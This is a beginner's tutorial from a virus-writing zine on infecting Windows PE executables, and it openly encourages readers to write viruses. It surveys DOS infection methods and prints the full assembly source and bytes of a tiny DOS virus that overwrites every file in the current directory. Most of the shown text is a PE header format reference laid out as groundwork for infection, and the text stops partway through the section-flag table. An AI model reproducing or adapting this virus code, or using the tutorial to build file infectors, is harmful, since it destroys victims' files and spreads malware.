www.pudn.com > 29a_fu.zip > 29A-7.023


 
 
                         ========================================== 
                         === PE INFECTION TUTORIAL FOR BEGINNER === 
                         ========================================== 
 
    
            ART #1  : FIRST WORDS 
            ART #2  : VIEW OF THE PAST 
            ART #3  : YOUR FIRST PROGRAMM IN WIN32 
            ART #4  : PE FILE FORMAT 
            ART #5  : ACCESSING WIN32 API 
            ART #6  : HOW TO USE SOME APIS 
            ART #7  : DELTA OFFSET 
            ART #8  : RETURN TO THE HOST  
            ART #9  : TIPS n' TRICKS 
                      CODE SECTION WRITEABLE  
                      REDUCE YOUR CODE 
                      COMPRESSED PE FILE 
 
 
            ============================================================= 
            +                        ________                           + 
            +         /\      |---\     |           |    |        /|    + 
            +        /  \     |    |    |         --+----+--     / |    + 
            +       /    \    |___/     |           |    |      /  |    + 
            +      /------\   |   \     |         --+----+--       |    + 
            +     /        \  |    \    |           |    |         |    + 
            +                                                           + 
            ============================================================= 
 
                                    FIRST WORDS 
 
   So you want to code your own WIN32 virus ! ! ! If you are not stupid, if you 
   are patient and if you want really to do it then you can write a WIN32 virus 
   in  asm  language..... But  first you should answer to this stupid question: 
   WHY DO YOU WANT TO DO IT !!!!? 
 
          - To destroy files? 
          - To kill all the BIOS of the universe? 
          - To fuck Micro$oft OS? 
          - Because it's only a chanlenge for you? 
          - To claim to the world a message of peace? 
  
 
   If you choose  one of the three first answer,  then  you should phone to a 
   psychiatric therapist ! ! ! ! ! But if you want to claim a message of peace 
   then you are welcome in vx coding world... 
 
   Writing a virus is forbidden, so you should be prudent, and you had better 
   not to ask stupid questions. See law texts about informatics. 
 
        What you should have: 
 
           -A brain. (Logical and equipped with the option "English language") 
           -A computer. 
           -Patience. 
           -A linker (TASM, NASM, MASM...) and his Doc. I prefer NASM .... 
            (with NASM you can code for UNIX n' WIN32 platform, NASM is open 
            source!!!) (MASM means 'Micro$oft ASM'...no comment...) 
           -An asm file editor (of course you can only use NOTEPAD...) 
            but see QEDITOR.EXE in MASM pack 
           -A good hex editor (WINHEX) 
 
        What you should find: 
 
           -Tutorials for the asm language if you have no knowledge about it. 
           -Virus tutorials and Vx zines: 
 
            Download -40Hex zines    : Old zines (a lot article for DOS) 
                     -29A zines      : Very very interesting zines. 
                     -SLAM zines     : essentially for macro virus. 
                     -Vx tazy zine   : A very cool zine. Thanks dear Lord Julus 
                     -Vdat           : Big collection of vx article. By Cicatrix 
                     -... 
                     -... 
           -Documentation about file format (EXE PE, see PECOFF.DOC from micro$oft). 
           -Doc about how to use WIN32 APIs (WIN32.HLP). 
 
   You should read all you will find about vx coding, read, read and read.... 
 
 
 
            ============================================================= 
            +                        ________                      __   + 
            +         /\      |---\     |           |    |        /  \  + 
            +        /  \     |    |    |         --+----+--     /   |  + 
            +       /    \    |___/     |           |    |          /   + 
            +      /------\   |   \     |         --+----+--       /    + 
            +     /        \  |    \    |           |    |        /___  + 
            +                                                           + 
            ============================================================= 
 
                                 A VIEW OF THE PAST 
 
 
   Here I will speak about the old DOS viruses: 
 
   DOS IS DEAD !!! I loved DOS because it was my first OS on an old 186 with 
   an 'Hercules' graphic card ;-) 
 
   Writing a simple DOS virus is very, very, very easy...I've learn vx coding with 
   some old tutorials (40 hex...) 
 
        Common target files for viruses: 
 
          - *.COM 
          - *.EXE 
          - *.SYS 
          - *.DOC 
          - *.ZIP *.ARJ *.ARC ,all compressed archive files. 
          - *.OBJ *.ASM ;-) 
 
        Methods of infection: 
 
          * overwriting 
          * non-overwriting (appending) 
          * companion 
          * BOOT infector 
 
        OVERWRITTING VIRUS(*.COM infector): 
  
 
   They were very destructive because they copy themselves over the host and the 
   infected file will never run anymore: 
 
 
                  Before infection           After infection 
 
                  +---------------+         +---------------+ 
                  |  F F F F F F  |         |   V I R U S   | 
                  |  I I I I I I  |         +---------------+ 
                  |  L L L L L L  |         |  L L L L L L  | 
                  |  E E E E E E  |         |  E E E E E E  |     
                  +---------------+         +---------------+ 
 
 
        NON-OVERWRITTING VIRUS (*.COM infector only): 
 
 
   This virus don't destroy the infected file, so he can spread as he want. 
 
 
         Before infection                 After infection 
 
         +---------------+       ---->-- +---------------+ <-- +---------------+ 
         |  F F F F F F  |       |   --<-| JMP to VIRUS  | <-- |  F F F F F F  | 
         |  I I I I I I  |       |   |   |               | <-- |  I I I I I I  | 
         |  L L L L L L  |       |   |   +---------------+     +---------------+ 
         |  E E E E E E  |       |   |   |  L L L L L L  |            | 
         +---------------+       |   |   |  E E E E E E  |            |    
                                 |   |   +---------------+            | 
                                 |   -->-| INFECT FILES  |            | 
                                 |       +---------------+            | 
                                 |       |  RESTORE THE  |            | 
                                 |       |  FIRST OVER-  |--->-------/  
                                 |       |  WRITED BYTES | 
                                 |       +---------------+ 
                                 ----<---|JMP to the host| 
                                         +---------------+ 
 
 
   The virus copy himself to the end of the host and overwrite the first bytes 
   by writing an JMP op code to the virus, infect others files, restore the 
   first overwritten bytes, and jmp to the host (beginning of the file)... 
 
 
           COMPANION VIRUS: 
 
   We found some companion viruses code in WIN32 but they appeared under DOS: 
       
      -       When you tape c:\my_prog 
      -DOS search first for c:\my_prog.COM      
      -DOS search next  for c:\my_prog.EXE if c:\my_prog.COM is not found 
      -DOS search next  for c:\my_prog.BAT if c:\my_prog.EXE is not found 
      -DOS print on screen "file not found if c:\my_prog.BAT is not found 
 
      -So the companion virus search for my_prog.EXE, if present so it create a 
       my_prog.COM, copy himself on my_prog.COM 
       So after infection if you tape c:\my_prog then my_prog.COM (the virus) 
       is run first and the virus run my_prog.EXE ...CLEAR ? 
 
 
           BOOT infector: 
 
   These virus infect the Master boot of a floppy or an hard drive. They were 
   powerful  because the virus  run before the Operating System.  Writing an  
   BOOT virus is not so easy in WIN32 because we are under the protected mode 
 
 
   I will now show you a very tiny overwriting virus(.COM infetor): 
    
  ;-------------------------------------------------------------------- 
  ; The EXEcution III Virus. 
  ; 
  ; Well, you're now the prouw owner of the smallest virus ever made! 
  ; only 23 bytes long and ofcourse again very lame.. 
  ; But what the heck, it's just an educational piece of code!! 
  ; 
  ; (C) 1993 by [DàRkRàY] of TridenT (Ooooooranje Boooooooven!) 
  ; 
  ; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his 
  ; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-)) 
  ; 
  ; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions 
  ; it might not work! 
 
  _CODE   SEGMENT 
          ASSUME  CS:_CODE 
 
          ORG     100h 
  START:                                 ; That's where we're starting... 
          FILE    DB '*.*',0h            ; Dummy instruction, SUB's 0FFh from CH 
 
          MOV     AH,4Eh                 ; Let's search! 
  DO_IT:  MOV     DX,SI                  ; Make DX = 100h (offset file) 
          INT     21h                    ; Search now dude! 
   
          MOV     AX,3D01h               ; Hmm, infect that fucking file! 
          MOV     DX,9Eh                 ; Name is at DS:[9Eh] 
          INT     21h                    ; Go do it! 
          XCHG    BX,AX                  ; Put the handle in BX 
 
          MOV     AH,40h                 ; Write myself! 
          JMP     DO_IT                  ; Use other routine 
 
  _CODE   ENDS 
          END     START 
 
  ; If you don't like my english: Get lost, you can understand it! 
  ;------------------------------------------------------------------------- 
 
   This virus overwrite all file (*.*) he find in the current directory only. 
   He looks like: 
 
   2A 2E 2A 00 B4 4E 8B D6 CD 21 B8 01 3D BA 9E 00 CD 21 93 B4 40 EB EF 
 
   very tiny, is'nt it? 
 
   It was a challenge under DOS to code the smallest virus...strange game ! 
 
 
 
            ============================================================= 
            +                        ________                      ___   + 
            +         /\      |---\     |           |    |        /   \  + 
            +        /  \     |    |    |         --+----+--     /    |  + 
            +       /    \    |___/     |           |    |         __/   + 
            +      /------\   |   \     |         --+----+--         \   + 
            +     /        \  |    \    |           |    |       \    |  + 
            +                                                     \___/  + 
            ============================================================= 
 
                           YOUR FIRST WIN32 PROGRAMM 
 
 
   Asm is the most powerful language but the more difficult to learn. Use  
   your brain ;-) 
   If you have began coding asm under DOS so you can easy understand this: 
 
  ;----------------------------------------------------------------; 
  model tiny               ; model for a .COM file                 ; 
  .radix 16                ;                                       ; 
  .code                    ; code section                          ; 
  org 100h                 ; a .COM file is load at offset 100h    ; 
  start:                   ; coded for TASM                        ; 
  ;------------------------;                                       ; 
                                                                   ; 
     mov ah,09             ;                                       ; 
     mov dx,offset hello   ; address of text to print on screen    ; 
     int 21                ;                                       ; 
                                                                   ; 
     mov ax,4c00           ;                                       ; 
     int 21                ; END !                                 ; 
                                                                   ; 
     hello db "HELLO $",0                                          ; 
                                                                   ; 
  ;----------------------------------------------------------------; 
 
   You had to put some values on specific register before to call DOS or BIOS 
   interrupt(int). In win32 you should put values on stack before to call 
   WIN32 API and the APIs will do the job for you. 
    
   I will now show you the same program in WIN32: 
 
;----------------------------------------------------------; 
; Coded for NASM                                           ; 
; nasm  -fobj hello.asm                                    ; 
; alink -oPE hello \lib\kernel32.lib \lib\user32.lib       ; 
                                                           ; 
extern MessageBoxA              ; APIs used                ; 
extern ExitProcess              ; in this file             ; 
                                                           ; 
[SECTION CODE USE32 CLASS=CODE] ; code section             ; 
..start:                        ; for the linker           ; 
                                                           ; 
    push byte 0                 ; only the buttons 'OK'    ;  
    push dword caption          ; caption of the BOX       ; 
    push dword text             ; text in the BOX          ; 
    push byte 0                 ; handle of the Box        ; 
      call MessageBoxA          ; print BOX on screen      ; 
                                                           ; 
    push byte 0                 ;                          ; 
      call ExitProcess          ; EXIT                     ; 
                                                           ; 
    caption db "Your first WIN32 programm",0               ; 
    text db "HELLO",0                                      ; 
                                                           ; 
end                             ; for the linker           ; 
                                                           ; 
;----------------------------------------------------------; 
 
   you can link and compile this prog...I will use it to explain you some tricks 
 
            ============================================================= 
            +                        ________                           + 
            +         /\      |---\     |           |    |        /     + 
            +        /  \     |    |    |         --+----+--     /      + 
            +       /    \    |___/     |           |    |      /  |    + 
            +      /------\   |   \     |         --+----+--   /---|--  + 
            +     /        \  |    \    |           |    |         |    + 
            +                                                           + 
            ============================================================= 
 
 
                                   PE FILE FORMAT 
 
 
 
   - Where DOS were still alive the two principal file formats of executable files 
     were *.COM and *.EXE ,the image of a COM file (after been loaded in memory) is  
     the same as is physical aspect  (on hard drive).  The image is just load 
     after the PPS (Post Prefix Segment). A .COM file begin at offset 100h on 
     memory, and  his size can't  be more  than FFFFh bytes.  It is not the case 
     for EXE files. A EXE file begin with an header  on which are put some 
     values needed to load the file (DOS EXE files have only one header) 
           
   - Windows 3.x appeared with a new kind of executable: the NE .EXE files   
     (New Executable) 
 
    - Windows 9X appeared with a new .EXE format: the PE .EXE files (Portable 
      Executable) The name "Portable Executable" refers to the fact that the 
      format is not architecture-specific. 
 
 
   I will now show you the PE file format (PE32 only): 
 
 
   A .EXE PE file looks like this: 
 
         +--------------------------+ 
         |    OLD DOS EXE HEADER    | 
         +--------------------------+ 
         |         PE HEADER        | 
         +--------------------------+ 
         |    PE OPTIONAL HEADER    | 
         +--------------------------+ 
         |        OBJECT TABLE      | 
         +--------------------------+ 
         |         SECTION # 1      | 
         +--------------------------+ 
         |         SECTION # 2      | 
         +--------------------------+ 
         |         SECTION # 3      | 
         +--------------------------+ 
                      . 
         |            .             | 
                      . 
         |            .             | 
 
         +--------------------------+ 
         |         SECTION # n      | 
         +--------------------------+ 
 
   The most common section you will find in PE file are: 
    
      -code section       : section of win32 code (program). 
      -data sections      : initialized/uninitialized data. 
      -import section     : the APIs used in the file are enumerate here and 
                            the loader will write here address of APIs used 
                            in order to call them. 
      -export section     : for .DLL file: entry point of APIs are enumerate 
                            here.  
      -resource section   : contains info about the file (icon,...). 
      -debug section      : contains debugging info. 
      -relocation section : use for relocation. 
       
 
    ********************** 
    * OLD DOS EXE HEADER * 
    ********************** 
 
 
   I will not describe in detail this header because a lot of values are 
   unused nowadays. Read old vx articles if you want. 
     
   Offset  Size    Description 
 
    00h    2 BYTEs    .EXE signature, "MZ" (4D5Ah) 
    02h    WORD       number of bytes in last page 
    04h    WORD       number of pages (include the last page) (a page=512 bytes) 
    06h    WORD       number of relocation entries 
    08h    WORD       header size in paragraphs (a paragraph=16 bytes) 
    0Ah    WORD       minimum paragraphs of memory needed 
    0Ch    WORD       maximum paragraphs of memory needed 
    0Eh    WORD       initial SS  
    10h    WORD       initial SP 
    12h    WORD       checksum 
    14h    DWORD      initial CS:IP (beginning of the executable) 
    18h    WORD       Set to 40h or more for new-format (NE,LE,LX,PE,...)   
    1Ah    WORD       overlay number (normally set to 0) 
    1Ch    4 BYTEs    Reserved 
    20h    WORD       ? 
    22h    26 BYTEs   Reserved 
    3Ch    DWORD      offset of new executable (NE,LE,PE,...) header 
 
 
        Take a look at our HELLO.EXE file (edit it in hex): 
 
 
 
   Physical 
    offset    0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   00000000   4D 5A 6C 00 01 00 00 00 04 00 11 00 FF FF 03 00   MZ.............. 
   00000010   00 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ................ 
   00000020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 
   00000030   00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00   ................ 
   00000040   0E 1F BA 0E 00 B4 09 CD 21 B8 00 4C CD 21 54 68   ..............Th 
   00000050   69 73 20 70 72 6F 67 72 61 6D 20 72 65 71 75 69   is program requi 
   00000060   72 65 73 20 57 69 6E 33 32 0D 0A 24 00 00 00 00   res WIN32....... 
               
   -At offset 0h you can see the MZ signature (4D5Ah), all EXE files begin 
    with this signature. 
        
   -At Offset 18h is the word 0040h so if you try to run this file under DOS then 
    a JMP to offset 40h is done and the code is: 
 
    HEX values     op codes 
 
    0E          -   push cs 
    1F          -   pop ds 
    BA0E00      -   mov dx,offset text  ; 
    B409        -   mov ah,09           ; 
    CD21        -   int 21              ; print text on screen 
    B8004C      -   mov ax,4C00         ; 
    CD21        -   int 21              ; END 
                -   text db "This programm requires WIN32",0D,0A 
 
     So the .EXE file print "This programm requires WIN32" if you don't run it 
     in a WIN32 environment (win9x and later) 
 
    -At offset 3ch is the dword 'header relocation'. This value here is 70h 
     So the New Header (PE header) begin at offset 70h 
    
 
    ************* 
    * PE HEADER * 
    ************* 
 
   The PE HEADER looks like: 
 
 
    <---------DWORD---------> <---WORD--->  
 
   +-------------------------+------------+------------+ 
   |       SIGNATURE         |  CPU TYPE  |  # OBJECTS | 
   +-------------------------+------------+------------+ 
   |       TIME/DATE         |        RESERVED         | 
   +-------------------------+-------------------------+ 
   |         RESERVED        | OPTIONAL   |    FLAGS   | 
   |                         | HDR SIZE   |            | 
   +-------------------------+------------+------------+ 
 
 
SIGNATURE          :This value is "PE",0,0 or 00005045h in hex. All PE .EXE 
                    files begin with this value. 
 
CPU TYPE           :Type of CPU  required by this image to run. The values are: 
 
                    0       unknown 
                    014Ch   386 or later, and compatible processors. 
                    014Dh   80486 
                    014Eh   Pentium TM 
                    0162h   MIPS Mark I (R2000, R3000) 
                    0163h   MIPS Mark II (R6000) 
                    0166h   MIPS Mark III (R4000) 
                    0168h   MIPS little-endian 
                    0169h   MIPS little-endian WCE v2 
                    0184h   Alpha_AXP 
                    01F0h   IBM PowerPC Little-Endian 
                    01a2h   Hitachi SH3 little-endian 
                    01a4h   Hitachi SH3E little-endian 
                    01a6h   SH4 little-endian 
                    01c0h   ARM Little-Endian 
                    01f0h   Power PC, little endian 
                    0200h   Intel 64 
                    0266h   MIPS16 
                    0268h   Motorola 68000 series 
                    0284h   Alpha AXP 64-bit 
                    0366h   MIPS FPU 
                    0466h   MIPS 16 FPU 
                    0284h   ALPHA64 
 
 
# OBJECTS          :Number of entries in the Object Table. 
 
TIME/DATE          :Time and date the file was created or modified by the 
                    linker. 
 
OPTIONAL HDR SIZE  :Size of the optional header 
 
FLAGS              :Flag bits for the image. 
 
                   Flag    Definition 
 
                   0000h  Programm image 
                   00001h (IMAGE_FILE_RELOCS_STRIPPED) Image only, Windows CE, 
                          NT and above. Indicates that the file does not 
                          contain base relocations and must therefore be loaded 
                          at its preferred base address. If the base address is 
                          not available, the loader reports an error. Operating 
                          systems running on top of MS-DOS (Win32s) are  
                          generally not able to use the preferred base address 
                          and so cannot run these images. However, beginning 
                          with version 4.0, Windows will use an application's 
                          preferred base address. The default behavior of the 
                          linker is to strip base relocations from EXEs. 
                   00002h Image is executable. 
                   00004h COFF line numbers have been removed. 
                   00008h COFF symbol table entries for local symbols have been 
                          removed. 
                   00010h Aggressively trim working set. 
                   00020h App can handle > 2gb addresses. 
                   00040h Use of this flag is reserved for future use. 
                   00080h Little endian: LSB precedes MSB in memory. 
                   00100h 32 bit word machine. (win32 environment) 
                   00200h Debugging information removed from image file. 
                   00400h If image is on removable media, copy and run from swap 
                          file. 
                   01000h The image file is a system file, not a user program. 
                   02000h Library image (.DLL) 
                   04000h File should be run only on a UP machine. 
                   08000h Big endian: MSB precedes LSB in memory. 
 
                   if you found the flag 0102h then it means 0100h+0002h ... 
 
 
   NOW we know (look at the old DOS header) that the new header begin at offset 70h 
   So take a look are our hello.exe file at offset 70h 
 
   Physical 
    offset    0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   00000070   50 45 00 00 4C 01 04 00 74 93 5D 3D 00 00 00 00   PE.............. 
   00000080   00 00 00 00 E0 00 02 01                           ................ 
 
   -At offset 70h we see the value "PE",0,0 so here is the beginning of 
    the PE header 
   -At offset 74h is the word 014Ch (reverse the bytes) so Intel 80386 PC is 
    needed to run this file. 
   -At offset 76h is the word 0004h. So there is 4 sections described in the 
    object table 
   -At offset 84h is the size of the optional header (00E0h) 
   -At offset 86h is the flag for the image: 0102h  (0100h+0002h) 
 
 
    ********************** 
    * PE OPTIONAL HEADER * 
    ********************** 
 
   Before to show you the structure of the PE OPTIONAL HEADER I will tell you 
   some word about the notion of IMAGE BASE and Relative Virtual Address (RVA) 
   It is very simple but very important in WIN32 environment: The IMAGE BASE 
   is the address on which the file is load by the loader, so at this address 
   we will find the beginning of the file (old MZ DOS HEADER). 
   An RVA is in fact a distance from the image base (from the beginning of the 
   image of the file). For example if a file has 00400000h for IMAGE BASE and 
   his first section has for RVA 001000h then this section will be load at this 
   address: 00400000h + 00001000h (IMAGE BASE+RVA). CLEAR? 
 
   The PE OPTIONAL HEADER is place just after the PE HEADER. There are a lot of 
   very important for the loader and for us! I still don't know why it is called 
   'OPTIONAL'. 
 
 
   The PE OPTIONAL HEADER (PE32 only) looks like: 
    
    <---WORD--->              <---------DWORD---------> 
 
   +------------+------------+------------+------------+ 
   | SIGNATURE? |   LMAJOR   |   LMINOR   |  RESERVED  | 
   +------------+------------+------------+------------+ 
   |         RESERVED        |        RESERVED         | 
   +-------------------------+-------------------------+ 
   |    ENTRYPOINT RVA       |        RESERVED         | 
   +-------------------------+-------------------------+ 
   |       RESERVED          |        IMAGE BASE       | 
   +-------------------------+-------------------------+ 
   |      OBJECT ALIGN       |       FILE ALIGN        | 
   +-------------------------+-------------------------+ 
   | OS MAJOR   | OS MINOR   | USER MAJOR | USER MINOR | 
   +------------+------------+------------+------------+ 
   | SUBSYS MAJ | SUBSYS MIN |         RESERVED        | 
   +------------+------------+-------------------------+ 
   |       IMAGE SIZE        |      HEADER SIZE        | 
   +-------------------------+------------+------------+ 
   |     FILE CHECKSUM       | SUBSYSTEM  | DLL FLAGS  | 
   +-------------------------+------------+------------+ 
   |    STACK RESERVE SIZE   |   STACK COMMIT SIZE     | 
   +-------------------------+-------------------------+ 
   |   HEAP RESERVE SIZE     |    HEAP COMMIT SIZE     | 
   +-------------------------+-------------------------+ 
   |         RESERVED        |       #  RVA/SIZES      | 
   +-------------------------+-------------------------+ 
   |    EXPORT TABLE RVA     |  TOTAL EXPORT DATA SIZE | 
   +-------------------------+-------------------------+ 
   |   IMPORT TABLE RVA      |  TOTAL IMPORT DATA SIZE | 
   +-------------------------+-------------------------+ 
   |   RESOURCE TABLE RVA    | TOTAL RESOURCE DATA SIZE| 
   +-------------------------+-------------------------+ 
   |  EXCEPTION TABLE RVA    |TOTAL EXCEPTION DATA SIZE| 
   +-------------------------+-------------------------+ 
   | SECURITY TABLE RVA      |TOTAL SECURITY DATA SIZE | 
   +-------------------------+-------------------------+ 
   |  FIXUP TABLE RVA        |  TOTAL FIXUP DATA SIZE  | 
   +-------------------------+-------------------------+ 
   |   DEBUG TABLE RVA       |TOTAL DEBUG DIRECTORIES  | 
   +-------------------------+-------------------------+ 
   |  IMAGE DESCRIPTION RVA  |TOTAL DESCRIPTION SIZE   | 
   +-------------------------+-------------------------+ 
   |  MACHINE SPECIFIC RVA   | MACHINE SPECIFIC SIZE   | 
   +-------------------------+-------------------------+ 
   | THREAD LOCAL STORAGE RVA| TOTAL TLS SIZE          | 
   +-------------------------+-------------------------+ 
 
 
SIGNATURE?                : The Optional Header's Magic number determines 
                            whether an image is a PE32 or PE32+ executable: 
                               - 0x10b for PE32  (010bh) 
                               - 0x20b for PE32+ (020bh) 
                            PE32+ images allow for a 64-bit address space while 
                            limiting the image size to 4 Gigabytes (code in  
                            64bits) Other PE32+ modifications are addressed in 
                            their respective sections. (In WIN9X ,NT, 2000, ME 
                            you will find only PE32 but in XP you find  
                            PE32+...it's not really different, download the PE 
                            file format documentation on micro$oft web site) 
 
LMAJOR/LMINOR             : The major/minor version number of the linker. 
 
ENTRYPOINT RVA            : Entrypoint relative virtual address. The address is 
                            relative to the Image Base. This address is the 
                            starting address for the program. 
 
IMAGE BASE                : The virtual base of the image. This will be the 
                            virtual address of the first byte of the file  
                            (DOS Header). This must be a multiple of 64K. 
                            (The file is load at this address in memory)  
 
OBJECT ALIGN              : The alignment of the objects. This must be a power 
                            of 2 between 200h and 256M inclusive. The default is 
                            1000h. All section  of the file will be loaded at an 
                            offset which is a power of OBJECT ALIGN dword. 
 
FILE ALIGN                : Alignment factor used to align image pages. All 
                            section of the file are written at an offset which 
                            is a power of FILE ALIGN dword. Larger alignment 
                            factors will cost more file space Smaller alignment 
                            factors will impact demand load performance, perhaps 
                            significantly. Of the two, wasting file space is 
                            preferable. This value should be a power of 2 
                            between 200h and 64K inclusive. 
 
OS MAJOR/OS MINOR         : The OS version number required to run this image. 
 
USER MAJOR/MINOR          : User major/minor version number. This is useful for 
                            differentiating between revisions of images/dynamic 
                            linked libraries. The values are specified at link 
                            time by the user. 
 
SUBSYS MAJ/MIN            : Subsystem major/minor version number. 
 
IMAGE SIZE                : The virtual size (in bytes) of the image. This 
                            includes all headers. The total image size must be a 
                            multiple of Object Align. 
                            
HEADER SIZE               : Total header size. The combined size of the old DOS 
                            Header, PE Header ,PE optional Header and Object 
                            Table. 
                             
FILE CHECKSUM             : Checksum for entire file. Set to zero by the linker. 
 
SUBSYSTEM                 : subsystem required to run this image. The values 
                            are: 
 
                            0000h - Unknown 
                            0001h - Used for device drivers and native Windows 
                                    NT processes. 
                            0002h - Image runs in the Windows graphical user 
                                    interface (GUI) subsystem. 
                            0003h - Image runs in the Windows character 
                                    subsystem. 
                            0005h - OS/2 Character 
                            0007h - POSIX Character 
                            0008h - Image is a native Win9x driver. 
                            0009h - Windows  CE  subsystem. 
                            0010h - Image is an EFI application. 
                            0011h - Image is an EFI driver that provides boot 
                                    services 
                            0012h - Image is an EFI driver that provides runtime 
                                    services. 
                             
DLL FLAGS                 : Indicates special loader requirements. This flag has 
                            the following bit values: 
                             
                            00001h - Per-Process Library Initialization 
                            00002h - Per-Process Library Termination 
                            00004h - Per-Thread Library Initialization 
                            00008h - Per-Thread Library Termination 
                            00800h - Do not bind image 
                            02000h - Driver is a WDM Driver 
                            08000h - mage is Terminal Server aware 
                            All other bits are reserved for future 
                            use and should be set to zero. 
 
STACK RESERVE SIZE        : Stack size needed for image. The memory is reserved, 
                            but only the Stack Commit Size is committed. The 
                            next page of the stack is a 'guarded page.' When the 
                            application hits the guarded page, the guarded page 
                            becomes valid, and the next page becomes the guarded 
                            page. This continues until the Reserve Size is 
                            reached. 
                             
STACK COMMIT SIZE         : Stack commit size. 
HEAP RESERVE SIZE         : Size of local heap to reserve. 
HEAP COMMIT SIZE          : Amount to commit in local heap. 
# RVA/SIZES               : Indicates the size of the RVA/Size array that 
                            follows. 
EXPORT TABLE RVA          : RVA of the Export Table. 
TOTAL EXPORT DATA SIZE    : Total size of the export data. 
IMPORT TABLE RVA          : RVA of the Import Table. This address is relative to  
                            the Image Base. 
TOTAL IMPORT DATA SIZE    : Total size of the import data. 
RESOURCE TABLE RVA        : RVA of the Resource Table. 
TOTAL RESOURCE DATA SIZE  : Total size of the resource data. 
EXCEPTION TABLE RVA       : RVA of the Exception Table. 
TOTAL EXCEPTION DATA SIZE : Total size of the exception data. 
SECURITY TABLE RVA        : RVA of the Security Table. 
TOTAL SECURITY DATA SIZE  : Total size of the security data. 
FIXUP TABLE RVA           : RVA of the Fixup Table. 
TOTAL FIXUP DATA SIZE     : Total size of the fixup data. 
DEBUG TABLE RVA           : RVA of the Debug Table. 
TOTAL DEBUG DIRECTORIES   : Total number of debug directories. 
IMAGE DESCRIPTION RVA     : RVA of the description string specified in the 
                            module definition file. 
TOTAL DESCRIPTION SIZE    : Total size of the description data. 
MACHINE SPECIFIC RVA      : RVA of a machine-specific value. 
MACHINE SPECIFIC SIZE     : A machine-specific value. 
THREAD LOCAL STORAGE RVA  : RVA of local storage RVA 
TOTAL TLS SIZE            : Total size of local storage 
 
 
 
   Let's take a look at our hello.EXE file and especially at the OPTIONAL 
   HEADER: 
 
   Physical 
    offset    0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
     
   00000080                           0B 01 00 00 00 00 00 00          ........ 
   00000090   00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00  ................ 
   000000A0   00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00  ................ 
   000000B0   01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00  ................ 
   000000C0   00 50 00 00 00 04 00 00 00 00 00 00 02 00 00 00  ................ 
   000000D0   00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00  ................ 
   000000E0   00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00  ................ 
   000000F0   00 30 00 00 94 00 00 00 00 00 00 00 00 00 00 00  ................ 
   00000100   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
   00000110   00 40 00 00 18 00 00 00 00 00 00 00 00 00 00 00  ................ 
   00000120   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
   00000130   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
   00000140   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
   00000150   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
   00000160   00 00 00 00 00 00 00 00                          ........ 
 
 
   -At offset 000000A4h is the IMAGE BASE: this value is 00400000h 
    So the file will be loaded in memory at 00400000h 
   -At offset 000000A8h is the OBJECT ALIGN value: 00001000h. All section will 
    be loaded at an offset which is a power of this value. 
   -At offset 000000ACh is the File ALIGN value: 00000200h. All section are 
    written (on disk) at an offset which is a power of this value. 
   -At offset 000000F0h is the IMPORT TABLE RVA value: 00003000h. So the IMPORT 
    TABLE begin at offset 00403000h on memory (IMAGE BASE+RVA) We will take a 
    look at IMPORT TABLE later... 
 
 
    **************** 
    * OBJECT TABLE * 
    **************** 
 
   The number of entries in the Object Table is set by the # Objects field in 
   the PE Header. Entries in the Object Table are numbered starting from one. 
   The Object Table immediately follows the PE OPIONAL HEADER. The order and the 
   name of the object are chosen by the linker. The RVA for objects must be 
   assigned by the linker such that they are in ascending order and adjacent, 
   and must be a multiple of Object Align set in the PE header. Each Object 
   Table entry has the following format: 
 
   +---------------------------------------------------+ 
   |                  OBJECT NAME                      | 
   +-------------------------+-------------------------+ 
   |       VIRTUAL SIZE      |          RVA            | 
   +-------------------------+-------------------------+ 
   |      PHYSICAL SIZE      |      PHYSICAL OFFSET    | 
   +-------------------------+-------------------------+ 
   |       RESERVED          |       RESERVED          | 
   +-------------------------+-------------------------+ 
   |         RESERVED        |      OBJECT FLAGS       | 
   +-------------------------+-------------------------+ 
 
 
 
OBJECT NAME     : Object name. This is an eight-byte, null-padded ASCII string 
                  representing the object name. 
 
VIRTUAL SIZE    : Virtual memory size. The size of the object that will be 
                  allocated when the object is loaded. Any difference between 
                  Physical Size and Virtual Size is zero filled. 
                  It is the size of the section after being load on memory. 
 
RVA             : Relative Virtual Address. This is the virtual address that the 
                  object is currently relocated to relative to the Image Base. 
                  Each Object's virtual address space consumes a multiple of 
                  Object Align (power of 2 between 512 and 256M inclusive. The 
                  default is 64K.), and immediately follows the previous Object 
                  in the virtual address space (the virtual address space for an 
                  image must be dense). 
 
PHYSICAL SIZE   : Physical file size of the section. The size of the 
                  section in the file for the object. The physical size 
                  must be a multiple of the File Align field in the PE Header, 
                  and must be less than or equal to the Virtual Size. 
 
PHYSICAL OFFSET : Physical offset for the object's first page. This offset is 
                  relative to the beginning of the EXE file, and is aligned on a 
                  multiple of the File Align field in the PE Header. The offset 
                  is used as a seek value. 
 
OBJECT FLAGS    : Flag bits for the object. The object flag bits have the 
                  following definitions: 
 
                  Flag          Definition 
 
                  000000008h Section should not be padded to next boundary. This 
                             is obsolete and replaced by IMAGE_SCN_ALIGN_1BYTES. 
                             This is valid for object files only. 
                  000000020h Code object 
                  000000040h Initialized data object 
                  000000080h Uninitialized data object 
                  000000200h Section contains comments or other information. The 
                             .drectve section has this type. This is valid for 
                             object files only. 
                  000000800h Section will not become part of the image. This is 
                             valid for object files only. 
                  000001000h Section contains COMDAT data. 
                  000100000h Align data on a 1-byte boundary. valid for object 
                             files only. 
                  000200000h Align data on a 2-byte boundary. 
                  000300000h Align data on a 4-byte boundary. 
                  000400000h Align data on a 8-byte boundary. 
